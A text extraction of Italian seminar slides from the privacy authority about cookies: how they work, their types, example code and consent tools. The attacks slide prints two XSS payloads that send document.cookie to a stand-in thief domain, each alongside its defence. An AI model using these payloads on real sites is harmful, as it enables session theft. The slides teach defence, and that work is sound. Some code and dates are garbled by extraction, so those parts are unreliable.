Source: http://docplayer.it/2336162-Cookies-profili-tecnologici.html
Timestamp: 2016-12-07 09:33:54+00:00

Document:
⭐Cookies: profili tecnologici
Cookies: profili tecnologici
Download "Cookies: profili tecnologici"
1 Seminario di formazione "Cookie e protezione dei dati personali" 3 luglio 2015 c/o Centro di Formazione della Difesa (CEFODIFE) - Viale Pretoriano n. 9, Roma Cookies: profili tecnologici Ing. Silvia Agatello2 Sketch-up Storia e motivazioni dei cookie. Come funzionano in HTTP. Terminologia comune. Privacy settings. Implementazioni. Attacchi e alternative. Consenso. Salve! Ci conosciamo? HTTP Client (web browser) Un biscotto ti schiarirà le idee! HTTP Server (sito web) 23 Breve storia termine cookie, da magic cookie (biscotto magico UNIX), usato da programmatore Netscape per e-commerce stato del carrello (HTTP è stateless). 1994: prime specifiche cookie informali, introdotte in Mosaic Netscape v0.9b e nel 1995 in Internet Explorer v : prime discussioni relative a implicazioni privacy (soprattutto cookie terza-parte). 1997: prime specifiche RFC Cookie terza-parte non abilitati di default...raccomandazione non seguita dai browser! 2000: RFC 2109 sostituita dalla RFC : specifica finale cookie pubblicata come RFC4 Cosa sono e a che servono HTTP è un protocollo senza stato (stateless). Il server non mantiene informazioni sulle richieste fatte dal client. Una serie di richieste dallo stesso browser client appaiono al server web come indipendenti. I cookie sono la soluzione alla caratteristica stateless di HTTP. 45 Cosa sono e a che servono Senza lo stato è difficile per il server attribuire una identità univoca al client. Senza lo stato è difficile per il server tenere traccia di una serie di richieste da un client. Senza lo stato è difficile fare applicazioni web interattive che ricordano cosa è successo nella interazione precedente. I cookie possono creare una sessione 1 di richieste e risposte HTTP con stato (stateful). 1 Per "sessione" non si intende connessione persistente, ma una sessione logica creata da richieste e risposte HTTP 56 Cosa sono e a che servono Un cookie è un piccolo pezzo di dati (testuali) che sono inviati dal web server e memorizzati nel client (ad esempio come file in una cartella associata al browser). Ad ogni visita, dal client il cookie viene restituito al server per informarlo sulla attività precedente. Il dato viene inviato come parte degli HEADER HTTP di richiesta e risposta, tramite i campi Set-Cookie e Cookie. I cookies vengono memorizzati nel client per un periodo predefinito. Ogni cookie è associato con il nome di dominio del server che lo ha generato. 67 Terminologia comune I cookie vengono classificati in diverse tipologie in base a: A. DURATA: cookie di sessione (temporaneo) automaticamente cancellato alla chiusura del browser. cookie persistente attivo fino alla sua data di scadenza o alla sua cancellazione da parte dell utente. 78 Terminologia comune B. PROVENIENZA: cookie di prima-parte inviato al browser direttamente dal sito che si sta visitando. cookie di terza-parte inviato al browser da altri siti e non dal sito che si sta visitando. Originariamente il campo Domain, associato al cookie, determinava se il cookie fosse di prima o terza parte. Adesso non vi è alcuna differenza intrinseca tra un cookie di prima e di terza parte. La distinzione esiste solo in fase di esecuzione, nel contesto di una particolare visita: se un cookie è associato ad un file richiesto dallo stesso dominio della pagina che si sta visualizzando, è un cookie di prima-parte. Un cookie associato a un file da un altro dominio è un cookie di terza-parte. Si noti che lo stesso cookie può essere di prima-parte in un momento e di terza-parte in un altro momento. Per esempio, quando si visita twitter.com il browser imposta vari cookie associati con il nome di dominio *.twitter.com. Nel contesto della visita su Twitter questi sono cookie di prima-parte. Se poi si visita repubblica.it, La Repubblica chiede dei file da twitter.com e tali richieste comprendono gli stessi cookie *.twitter.com, che a questo punto rappresentano cookie di terza-parte. 89 Terminologia comune C. FINALITÀ (non sempre facilmente o propriamente, inoltre un cookie può avere più di una finalità): cookie tecnico cookie di navigazione/indispensabile/di performance/di processo o di sicurezza contribuisce al funzionamento del sito, ad esempio la possibilità di navigare tra le pagine o accedere ad aree protette. Se viene bloccato, il sito non può funzionare correttamente. Nb: il cookie di sicurezza è un sotto-tipo che permette di autenticare gli utenti, prevenire l'uso fraudolento delle credenziali di accesso e proteggere i dati da soggetti non autorizzati. Può ad es. contenere record con firma digitale e crittografati per l ID dell account dell utente. cookie di funzionalità/preferenze/localizzazione/di stato della sessione permette di memorizzare informazioni che modificano il comportamento o l aspetto del sito (lingua preferita, dimensioni di testi e caratteri, area geografica in cui ci si trova). Se viene bloccato, l esperienza è meno funzionale ma non compromessa. cookie statistico/analytic a) di prima-parte oppure b) di terza-parte con mascheratura IP, senza incrocio dati Assimilabile al c. tecnico per finalità, serve a raccogliere informazioni e generare statistiche di utilizzo del sito web per comprendere come i visitatori interagiscono. 910 Terminologia comune cookie non tecnico cookie statistico/analytic di terza-parte senza mascheratura IP, senza incrocio dati serve a raccogliere informazioni e generare statistiche di utilizzo, con possibile identificazione e tracciamento dell utente, del sito web per comprendere come i visitatori interagiscono. cookie di profilazione/pubblicitario/advertising/di tracciamento o delle conversioni per la selezione della pubblicità in base a ciò che è pertinente per un utente (annunci personalizzati). I cookie di profilazione sono volti a creare profili relativi all utente e vengono utilizzati al fine di inviare messaggi pubblicitari in linea con le preferenze manifestate dallo stesso nell ambito della navigazione in rete. Nb. il cookie delle conversioni è un sotto-tipo che consente agli inserzionisti di determinare quante persone che fanno clic sui loro annunci finiscono per acquistare i loro prodotti. 1011 Terminologia comune D. CARATTERISTICHE TECNICHE: secure cookie flag "Secure" inserito nell header HTTP, il cookie viaggia obbligatoriamente in HTTPS. httponly cookie flag "httponly" inserito nell header HTTP, il cookie non può essere usato da client scripts o cross-side. super cookie (local shared objects (LSO) / HTML5 DOM Local Storage / Silverlight / pixel hacks...) / browser independent cookie LSO, comunemente chiamato Flash cookie, è un pezzo di dati memorizzato sul client da siti che usano Adobe Flash. Similmente si comportano i cookie HTML5 Local Storage e Silverlight. Una volta memorizzati, sono indipendenti dal browser utilizzato per l accesso a Internet. I Flash cookie sono file un po' più grandi dei cookie HTML regolari e sono in formato binario (Action Message Format) e non testuale. Solitamente vengono usati per salvare informazioni sui giochi, film online, etc. Criticità: A differenza dei cookie per browser, quasi tutti i Flash cookie non hanno una scadenza e i dati rimangono memorizzati fino alla formattazione del PC o alla rimozione dei dati con metodi manuali. È capitato che vengano letti da applicazioni di terze parti, spesso per finalità di marketing e per tracciare i movimenti (ciò ha generato varie class action USA). Possono occasionalmente riattivare o ricreare i cd. zombie cookie. zombie cookie Cookies già cancellato, in alcuni casi può essere riattivato o ricreato (es. da un super cookie). 1112 Mascheratura IP per Google Analytics I cookie «analitici di terza-parte» sono considerati alla stregua di cookie di profilazione, se gli IP non sono stati pseudo-anonimizzati e se la terzaparte incrocia le informazioni con altre di cui già dispone. E semplice anonimizzare gli IP di Google Analytics tramite la cd. «Mascheratura dell indirizzo IP»: ad es. per la generica libreria Google UA (universal analytics) basta aggiungere il seguente codice allo script attualmente in uso: ga( set, anonymizeip, true); tra queste due righe già presenti: ga( create, UA-XXXXXXXX-X, auto ); ga( send, pageview ); Nell account Google Analytics, esistono diverse impostazioni di condivisione dei dati. Per modificarle fare riferimento a «Impostazioni di condivisione dei dati» su https://support.google.com/analytics/answer/ ?hl=it 1213 Cookie e privacy (cenno) i cookie permettono ai siti di imparare molte cose sugli utenti; l utente può fornire al sito il nome e l indirizzo ; i cookie permettono ai siti di identificare gli utenti 1314 Browser/client privacy Settings Con i moderni browser, che rispettano lo standard Platform for Privacy Preferences (P3P), è possibile decidere quando accettare cookie. Se non li si accetta, l utilizzo di alcuni siti o di alcune funzionalità web potrebbe essere inibito. I cookie possono essere bloccati/abilitati per sempre, anche in base a whitelist e blacklist, possono venire cancellati dopo un periodo di tempo, e si possono filtrare quelli utilizzati dallo stesso server o anche da link (es. pubblicitari) verso altri server. Navigazione anonima La Navigazione anonima (Private browsing), disponibile come funzionalità di alcuni browser web, consente di navigare in Internet senza salvare nel client alcuna informazione (es. cookie) sui siti e sulle pagine visitate. Tali informazioni vengono eliminate a fine sessione, ma non dal server (attenzione!). Plugin di blocco adv (es.adblock) o check cookie (es.ghostery) Si sono diffuse estensioni per browser che permettono di eliminare gli annunci pubblicitari, che spesso contengono cookie di profilazione, o di verificare/gestire lo stato dei cookie del proprio browser verso un sito. 1415 Cookie: implementazione HTTP Response Header per richiedere allo USER AGENT di memorizzare dei dati. Set-Cookie: Name=VALUE; Expires=DATE; Path=PATH; Domain= DOMAIN_NAME; Secure; HttpOnly. Name=VALUE Una qualunque sequenza di caratteri alfanumerici [unico elemento obbligatorio] Expires=DATE Data di scadenza del cookie. Raggiunta la data, il cookie non è più memorizzato o fornito. Alternativamente, può usarsi l attributo Max-Age per impostare la scadenza a un intervallo di secondi nel futuro. Per default il cookie scade con la sessione. Domain=DOMAIN_NAME Definisce l ambito di visibilità, indicando al browser che il cookie può essere inviato al server solo per il dominio indicato (che ha creato il cookie). E necessario inserirlo se si vogliono ricomprendere anche i sottodomini. Per default è il dominio del server. Path=PATH Definisce l ambito di visibilità, indicando al browser che il cookie può essere inviato al server solo per il percorso (URL) indicato. Secure Protegge il cookie obbligando la criptazione del canale di trasmissione dati (HTTPS). HttpOnly Protegge il cookie permettendone l esecuzione solo da canali HTTP/HTTPS e vietandone l uso da client scripts o cross-side scripting. 1516 Implementazione esempi in vari linguaggi CGI script (python) Cookies: profili tecnologici - 3 luglio17 Implementazione esempi in vari linguaggi CGI script (python) INVIO COOKIE AL CLIENT RESTITUZIONE COOKIE DAL CLIENT #!/usr/bin/python print 'Set-Cookie: nomecookie= ; Max-Age=86400;' #sec in 1gg print 'Content-Type: text/plain' print print 'Impostazione del cookie effettuata. Durera\ 1 giorno.' telnet localhost 80 Trying ::1... Connected to localhost. Escape character is '^]'. GET /cgi-bin/invio_cookie.py HTTP/1.0 HTTP/ OK Date: Fri, 3 Jul :30:00 GMT Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.7l DAV/2 Set-Cookie: nomecookie= ; Max-Age=86400; Connection: close Content-Type: text/plain Impostazione del cookie effettuata! Durera' 1 giorno. Connection closed by foreign host. HEADER HTTP SERVER CLIENT Cookies: profili tecnologici - 3 luglio 2015 #!/usr/bin/python import os print 'Content-Type: text/plain' print if 'HTTP_COOKIE' in os.environ: cookie_value = os.environ['http_cookie'] print 'Cookie ricevuto! %s' %cookie_value else: print "Cookie non ricevuto " telnet localhost 80 Trying ::1... Connected to localhost. Escape character is '^]'. GET /cgi-bin/ricezione_cookie.py HTTP/1.0 Cookie: nomecookie= HTTP/ OK Date: Fri, 3 Jul :30:00 GMT Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.7l DAV/2 Connection: close Content-Type: text/plain Cookie ricevuto! nomecookie= Connection closed by foreign host. HEADER HTTP CLIENT SERVER 1718 Implementazione esempi in vari linguaggi PHP INVIO COOKIE AL CLIENT RESTITUZIONE COOKIE DAL CLIENT un esempio con setcookie(): <?php setcookie ("nomecookie", " ", time()+86400); echo ('Impostazione del cookie effettuata! Durerà 1 giorno.');?> oppure un esempio con header(): <?php header ("Set-Cookie: nomecookie= ; expires=sat, 4-Jul :30:00 GMT;");?> oppure con i tag META: <html> <head> <?php echo ("<META HTTP-EQUIV=\"Set-Cookie\" CONTENT=\"nomeCookie= ; expires=sat, 4-Jul :30:00 GMT;\">") ;?> </head> <body></body> </html> se register_globals ="On" i valori si possono reperire facilmente usando il nome stesso del cookie, oppure si può usare l'array associativo $HTTP_COOKIE_VARS. Tuttavia per ragioni di sicurezza queste opzioni sono deprecate ed è consigliabile utilizzare $_COOKIE (introdotto a partire dalla versione 4.1 di Php). <?php if (isset($_cookie)&&!empty($_cookie)){ echo "Cookie ricevuto! "; echo ($_COOKIE["nomeCookie"]) ; }elseif (isset($http_cookie_vars)&&!empty($http_cookie_vars)){ echo "Cookie ricevuto! "; echo ($HTTP_COOKIE_VARS["nomeCookie"]) ; }else{ echo "Cookie non ricevuto "; }?> Cookies: profili tecnologici - 3 luglio19 Implementazione esempi in vari linguaggi Javascript (client side) INVIO COOKIE AL CLIENT RESTITUZIONE COOKIE DAL CLIENT <script type="text/javascript"><!-- function ScriviCookie() { document.cookie = "nomecookie= ; expires=sat, 4-Jul :30:00 GMT;" document.write ("Impostazione del cookie effettuata! Durerà 1 giorno." ); } //--></script> <script type="text/javascript"><!-- function LeggiCookie() { var allcookies = document.cookie; // tutti i cookie cookiearray = allcookies.split(';'); for(var i=0; i<cookiearray.length; i++){ name = cookiearray[i].split('=')[0]; value = cookiearray[i].split('=')[1]; document.write ("Cookie ricevuto! " + name + value); } } //--></script> Cookies: profili tecnologici - 3 luglio20 Implementazione esempi in vari linguaggi ASP / VBscript INVIO COOKIE AL CLIENT RESTITUZIONE COOKIE DAL CLIENT <% Response.Cookies("nomeCookie")=" "; Response.Cookies("nomeCookie ").Expires = dateadd("d",1, date); Response.Write "Impostazione del cookie effettuata! Durerà 1 giorno."; %> <% dim cookie_value; cookie_value = Request.Cookies("nomeCookie"); Response.Write("Cookie ricevuto! " & cookie_value); %> INVIO COOKIE AL CLIENT JSP / Java / Servlet RESTITUZIONE COOKIE DAL CLIENT Cookie cookie_value = new Cookie( nomecookie", " "); cookie_value.setage(86400); response.addcookie(cookie_value); response.setcontenttype( "text/html" ); PrintWriter out = response.getwriter(); out.println("<html>"); out.println("impostazione del cookie effettuata! Durerà 1 giorno."); out.println("</html>"); out.close(); Cookies: profili tecnologici - 3 luglio 2015 Cookie cookie_value = null; Cookie[] cookiesutentearray = request.getcookies(); int indice = 0; while (indice < cookiesutentearray.length) { // esegue il ciclo fino a quando ci sono elementi in cookiesutentearray if (cookiesutentearray[indice].getname().equals("nomecookie"); break; indice++; } if (indice < cookiesutentearray.length) cookie_value = cookiesutentearray[indice]; else cookie_value = null; out.println("cookie ricevuto! " + cookie_value.getvalue() ); 2021 Cookie: possibili attacchi Cookie hijacking / Packet sniffing => il traffico viene intercettato e il cookie viene letto da terzi. Soluzione: settare il flag Secure e utilizzare HTTPS. Dato che a volte anche l uso di HTTPS non è una garanzia (per motivi di efficienza alcuni header non sono cifrati o lo è solo il primo messaggio spedito tramite HTTPS), lo sviluppatore dovrebbe adottare un algoritmo di crittografia e di decrittografia lato server in modo che le informazioni nei cookie non possano essere manipolate. Cookie poisoning/tampering/manipulation / Manipolazione sui cookie => i contenuti di un cookie vengono modificati dall utente (editando il file dei cookie o modificando il campo Cookie nell header del messaggio HTTP) al fine di eludere i meccanismi di sicurezza, ad esempio per cambiare il prezzo di un carrello virtuale. Secondo l organizzazione The Open Web Application Security Project (OWASP), la manipolazione dei cookie è uno dei 20 attacchi più utilizzati dagli hacker, soprattutto nei sistemi di e-commerce. 2122 Cookie: possibili attacchi Uso malevolo di script => per esempio, l utente malevolo entra in dominiovittima.com e inserisce questo codice nella url get del form di contatto <script> window.open("http://dominioladro.com?cookie=" + document.cookie ) </script> Oppure l utente malevolo pubblica questo link sul dominiovittima.com, ad esempio in un forum: <a href="#" onclick="window.location='dominioladro.com?cookie='+escape(document.cookie); return false;">fai clic qui!</a> Il browser esegue lo script e spedisce a dominioladro.com il cookie di dominiovittima.com. Soluzione: settare il flag HTTPOnly, con cui il cookie non può venire acceduto tramite script, ad esempio da document.cookie. 2223 Alternative (from wikipedia en) Elenco di meccanismi con i quali è possibile fare operazioni simili a quelle svolte con i cookie: Indirizzo IP URL (query string) Campi form nascosti window.name (proprietà DOM) Autenticazione HTTP Identifier for advertisers (IDFA), usato da Apple HTTP Etag (HTTP 1.1 header) Web Storage Cache Browser fingerprint 2324 Consenso: soluzioni per i pulsanti «social» (from CNIL) I pulsanti social consentono ai progettisti di siti di aggiungere facilmente funzionalità alle proprie pagine web per facilitare la condivisione dei contenuti del loro sito su varie piattaforme sociali. Se il consenso degli utenti deve essere ottenuto prima della memorizzazione di cookie, esistono vari strumenti utili per ottenere la conformità. Esempio: Social Share Privacy (http://panzi.github.io/socialshareprivacy/), che serve a integrare facilmente i pulsanti sulle principali piattaforme sociali senza inviare i cookie prima di aver ottenuto il consenso dell utente. Come integrare Social Share Privacy nel sito? Direttamente inserendo il codice JS presente sul sito, oppure tramite appositi plug-in per i CMS noti: Typo3 Drupal Joomla WordPress https://drupal.org/project/socialshareprivacy https://wordpress.org/plugins/wp-social-share-privacy-plugin/ (vd. anche il plug-in «Ginger») 2425 Ricetta Cookie (da Ingredienti 8 cucchiai di burro ammorbidito 6 cucchiai di zucchero 1/2 cucchiaino di sale estratto di vaniglia 1 uovo 1/2 cucchiaio di lievito 145g di farina 00 1/2 tazza di noci tritate (optional) 175 g di cioccolato a pezzetti o gocce di cioccolato Preparazione [Set-Cookie] Preriscaldare il forno a 200. Mescolare gli ingredienti nell ordine elencato. Coprire uno stampo con la carta forno. Con un cucchiaino dividere l impasto in dosi da mettere sullo stampo, lasciare uno spazio di 4 cm tra un biscotto e l altro. Cuocere in forno per 12 min. circa. Far raffreddare prima di togliere i biscotti dallo stampo. 2526 Fine Profili tecnologici a cura del: Dipartimento tecnologie digitali e sicurezza informatica, Garante per la protezione dei dati personali Cookie e privacy: istruzioni per l uso 26 Documenti analoghi
COOKIES Per far funzionare bene questo sito, a volte installiamo sul tuo dispositivo dei piccoli file di dati che si chiamano cookies. Anche la maggior parte dei grandi siti fanno lo stesso. COSA SONO Dettagli Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin
Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin Cookie e Sicurezza 1 HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso Dettagli Cookie Policy. Questo documento contiene le seguenti informazioni:
Cookie Policy Il sito web di ASSOFERMET, con sede a Milano (Mi), in VIA GIOTTO 36 20145, Titolare, ex art. 28 d.lgs. 196/03, del trattamento dei Suoi dati personali La rimanda alla presente Policy sui Dettagli COOKIES PRIVACY POLICY DI BANCA PROFILO
COOKIES PRIVACY POLICY DI BANCA PROFILO Indice e sommario del documento Premessa... 3 1. Cosa sono i Cookies... 4 2. Tipologie di Cookies... 4 3. Cookies di terze parti... 5 4. Privacy e Sicurezza sui Dettagli COOKIES POLICY. 2. Tipologie di Cookies utilizzati da parte del sito www.elleservizi.it e/o delle aziende e dei marchi che ne fanno parte
COOKIES PRIVACY POLICY Il sito web di Onoranze funebri Castiglioni di Castiglioni A. Via Valle 11 46040 Cavriana Mantova Titolare, ex art. 28 d.lgs. 196/03, del trattamento dei Suoi dati personali La rimanda Dettagli Web e HTTP. path name. host name Realizzato da Roberto Savino. www.someschool.edu/somedept/pic.gif
Web e HTTP Terminologia Una pagina web consiste di oggetti Un oggetto può essere un file HTML, una immagine JPG, ecc. Una pagina web consiste di un file HTML base che fa riferimento a diversi oggetti al Dettagli INFORMATICA DISTRIBUITA. lez 5 World Wide Web (cont)
INFORMATICA DISTRIBUITA prof. lez 5 World Wide Web (cont) Università degli Studi di Milano Scienze e Tecnologie della Comunicazione Musicale a.a. 2009-2010 Protocolli usabili nelle URL http: ftp: : http://www.dico.unimi.it/ Dettagli Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo Dettagli Siti interattivi e dinamici. in poche pagine
Siti interattivi e dinamici in poche pagine 1 Siti Web interattivi Pagine Web codificate esclusivamente per mezzo dell HTML non permettono alcun tipo di interazione con l utente, se non quella rappresentata Dettagli Privacy Policy e utilizzo dei cookie.
Privacy Policy e utilizzo dei cookie. Privacy Policy Informativa resa ai sensi dell articolo 13 del D.lgs. n.196/2003 ai visitatori del sito di Hakomagazine e fruitori dei servizi offerti dallo stesso, Dettagli Questa tipologia di cookie permette il corretto funzionamento di alcune sezioni del Sito. Sono di due categorie: persistenti e di sessione:
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo Dettagli Il Protocollo HTTP e la programmazione di estensioni Web
Il Protocollo HTTP e la programmazione di estensioni Web 1 Il protocollo HTTP È il protocollo standard inizialmente ramite il quale i server Web rispondono alle richieste dei client (prevalentemente browser); Dettagli Esempio Cookie Policy
Esempio Cookie Policy INFORMATIVA ESTESA SULL USO DEI COOKIE Uso dei cookie cascinaladoria.it o il Sito utilizza i Cookie per rendere i propri servizi semplici e efficienti per l utenza che visiona le Dettagli INFORMATIVA PRIVACY. Politica ed informativa sull'utilizzo cookie
Cookie Garante Privacy Cookie Garante Privacy Utilizziamo i cookie per rendere il nostro sito più facile ed intuitivo. I dati raccolti grazie ai cookie servono per rendere l esperienza di navigazione più Dettagli Informativa estesa sui Cookie e sulla privacy
Informativa estesa sui Cookie e sulla privacy Cosa sono i cookies? In informatica i cookie HTTP (più comunemente denominati Web cookie, tracking cookie o semplicemente cookie) sono righe di testo usate Dettagli Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer
Tecnologie per il Web Il web: architettura e tecnologie principali Una analisi delle principali tecnologie per il web Tecnologie di base http, ssl, browser, server, firewall e proxy Tecnologie lato client Dettagli NORME SULLA PRIVACY. Modalità del trattamento. Diritti degli interressati
NORME SULLA PRIVACY In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano. Si tratta di un informativa che è resa Dettagli Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo Dettagli Il Sito web www.agordino.net, usa i cookie per raccogliere informazioni utili a
Cookie Policy INFORMATIVA ESTESA SULL USO DEI COOKIE www.agordino.net Il Sito web www.agordino.net, usa i cookie per raccogliere informazioni utili a migliorare la tua esperienza online. La presente policy Dettagli Architetture Web Protocolli di Comunicazione
Architetture Web Protocolli di Comunicazione Alessandro Martinelli alessandro.martinelli@unipv.it 10 Maggio 2011 Architetture Web Architetture Web Protocolli di Comunicazione Il Client Side Il Server Side Dettagli Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)
UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL Dettagli Il "titolare" del loro trattamento è la Società Mulinetti S.r.l. Hotel La Giara in Recco, Via Cavour 79 (Italia).
PRIVACY POLICY PERCHE QUESTO AVVISO In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano. Si tratta di un'informativa Dettagli Architetture Web parte 2
Architetture Web parte 2 Programmazione in Ambienti Distribuiti A.A. 2004-05 Sessione Un insieme di richieste, provenienti dallo stesso browser e dirette allo stesso server, confinate in un dato lasso Dettagli POLITICA PRIVACY E COOKIES PRIVACY E NOTE LEGALI DATI SOCIETARI
POLITICA PRIVACY E COOKIES AUREA MATER / politica privacy e cookies PRIVACY E NOTE LEGALI DATI SOCIETARI Note Legali Il presente sito (di seguito il Sito ) è realizzato da AUREA MATER Coop. Soc. ONLUS Dettagli Esercitazione 8. Basi di dati e web
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo Dettagli Seminari Eucip, Esercizio e Supporto di Sistemi Informativi
Seminari Eucip, Esercizio e Supporto di Sistemi Informativi Servizi di Dipartimento di Informtica e Sistemistica Università di Roma La Sapienza Sicurezza su Sicurezza della La Globale La rete è inerentemente Dettagli Informativa sui cookie secondo la normativa europea
Informativa sui cookie secondo la normativa europea Il sito web che state navigando è conforme alla normativa europea sull'uso dei cookie. Per far funzionare bene questo sito, a volte installiamo sul tuo Dettagli Informativa estesa sull utilizzo dei cookie
Informativa estesa sull utilizzo dei cookie che Gli OPTIMA utenti visiona S.R.L. vedranno le pagine utilizza inserite del i Cookie sito. delle per quantità rendere minime i propri informazioni servizi Dettagli Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo Dettagli Elementi di Sicurezza e Privatezza Lezione 12 Web Security
Elementi di Sicurezza e Privatezza Lezione 12 Web Security Chiara Braghin chiara.braghin@unimi.it Dalla lezione precedente Formato della HTTP Request: Metodo URL Versione protocollo Header GET /index.html Dettagli INFORMATIVA ESTESA SULL USO DEI COOKIE
INFORMATIVA ESTESA SULL USO DEI COOKIE Uso dei cookie cantiwinestyle.com o il Sito utilizza i Cookie per rendere i propri servizi semplici e efficienti per l utenza che visiona le pagine di cantiwinestyle.com Dettagli INFORMATIVA SULL UTILIZZO DEI COOKIES
INFORMATIVA SULL UTILIZZO DEI COOKIES COSA SONO I COOKIES (E TECNOLOGIE SIMILARI) Sul sito di Focus Tv focustv.it (di seguito, il Sito ) usiamo tecnologie per raccogliere informazioni utili a migliorare Dettagli PRIVACY POLICY. Tipi di dati trattati
PRIVACY POLICY In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano. Si tratta di un informativa che è resa anche Dettagli Indice I rischi: introduzione alle reti connesse a Internet Le reti e il protocollo TCP/IP
Indice Capitolo 1 I rischi: introduzione alle reti connesse a Internet 1 1.1 Il virus Worm 3 1.2 Lo stato della rete nel 2002 9 1.3 Cos è Internet 10 1.4 La commutazione di pacchetti: la base della maggior Dettagli Cookies Privacy Policy Società e Salute S.p.A.
CookiesPrivacyPolicySocietàeSaluteS.p.A. CookiesPrivacyPolicy Il sito web di Società e salute S.p.A.(di seguito anche:"società", e/o"centro Medico Sant Agostino"), con sede a Milano(MI),inpiazzaSant Agostinon Dettagli Informativa estesa. Informazioni generali sui cookie.
Informativa estesa La presente Informativa viene resa, ai sensi degli articoli 13 e 122 del Codice in materia di protezione dei dati personali (D.Lgs. 196/03, il c.d. Codice privacy) e del Provvedimento Dettagli Sicurezza delle applicazioni web: protocollo HTTP
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Sicurezza delle applicazioni web: protocollo HTTP Alessandro Reina Aristide Fattori Dettagli Alcuni consigli per adeguarsi alle regole privacy sull uso dei cookie
Alcuni consigli per adeguarsi alle regole privacy sull uso dei cookie Il 3 giugno scorso è divenuto operativo il Provvedimento del Garante privacy sull uso dei cookie (Provvedimento n. 229/2014). Il Provvedimento, Dettagli Privacy e Cookie PERCHE QUESTO AVVISO
Privacy e Cookie PERCHE QUESTO AVVISO Grazie per dedicare qualche minuto alla consultazione di questa sezione del nostro sito Web. La tua privacy è molto importante per me e per tutelarla al meglio, ti Dettagli Cookie Policy Uso dei Cookies in questo sito Che cos'è un cookie? Cookie del browser:
Cookie Policy Uso dei Cookies in questo sito Nella presente cookie policy viene descritto l'utilizzo dei cookies di questo sito. Preliminarmente si precisa che l'uso di c.d. cookies di sessione (che non Dettagli Nella presente pagina si descrivono le modalità di gestione del sito in riferimento al trattamento
Informativa sulla Privacy per il Sito Web (art. 13 D.lgs. 196/03) Nella presente pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che Dettagli Web (1) Internet. Elementi di Sicurezza e Privatezza Lezione 9 Web Security (1) Chiara Braghin. chiara.braghin@unimi.it! 20/11/12. browser.
Elementi di Sicurezza e Privatezza Lezione 9 Web Security (1) Chiara Braghin chiara.braghin@unimi.it! Web (1) File HTML browser Internet URL Server web server Client il protocollo: HTTP 1 1 Web (2) Server Dettagli POLICY COOKIE Che cosa sono i cookies Tipologie di cookies in base alle finalità Cookies tecnici: cookie di navigazione o di sessione
POLICY COOKIE Gentile visitatore, DGMBOX srl quale titolare del trattamento dei dati, desidera fornirle alcune informazioni sui cookies gestiti accedendo all indirizzo www.vediamocichiara.it nel rispetto Dettagli Cookie Policy. Uso dei Cookies in questo sito
Cookie Policy Uso dei Cookies in questo sito Nella presente cookie policy viene descritto l'utilizzo dei cookies di questo sito. Titolare del trattamento dei dati personali è il soggetto cui fa riferimento Dettagli Sessioni Applicative in Http. Tito Flagella tito@link.it
Sessioni Applicative in Http Tito Flagella tito@link.it Perché le sessioni Solitamente le transazioni http sono anonime e indipendenti Le applicazioni hanno bisogno di correlarle tra di loro User1: http://bank.com/prelievo?amount=10000$ Dettagli Facendo uso di questo Sito si acconsente il nostro utilizzo di cookie in conformità con la presente Cookie Policy.
Cookie Con riferimento al provvedimento Individuazione delle modalità semplificate per l informativa e l acquisizione del consenso per l uso dei cookie 8 maggio 2014 (pubblicato sulla Gazzetta Ufficiale Dettagli MODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1
MODULO 1 PARTE 3 Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni Goy - a.a. 2012/2013 Programmazione Web 1 Cookie - I Cookie = variabili che il server salva (*) sul client come file Dettagli A seguito della consultazione di questo sito possono essere trattati dati relativi a persone identificate o identificabili.
Privacy policy del sito web Bitmama S.r.l. In questa pagina si descrivono le modalità di gestione del sito Bitmama, in riferimento al trattamento dei dati personali degli utenti che lo consultano. Si tratta Dettagli Ogni browser (Internet Explorer, Google Chrome, Mozilla Firefox o Safari) permette di impostare le preferenze per i cookie.
COSA SONO? Un cookie è rappresentato da un file di testo memorizzato sul vostro computer, tramite il browser di navigazione, creato durante la navigazione sui siti web. Servono nella maggioranza dei casi Dettagli Architetture Web. parte 1. Programmazione in Ambienti Distribuiti A.A. 2003-04
Architetture Web parte 1 Programmazione in Ambienti Distribuiti A.A. 2003-04 Architetture Web (1) Modello a tre livelli in cui le interazioni tra livello presentazione e livello applicazione sono mediate Dettagli Indice generale. Parte I Anatomia del Web...21. Introduzione...xiii
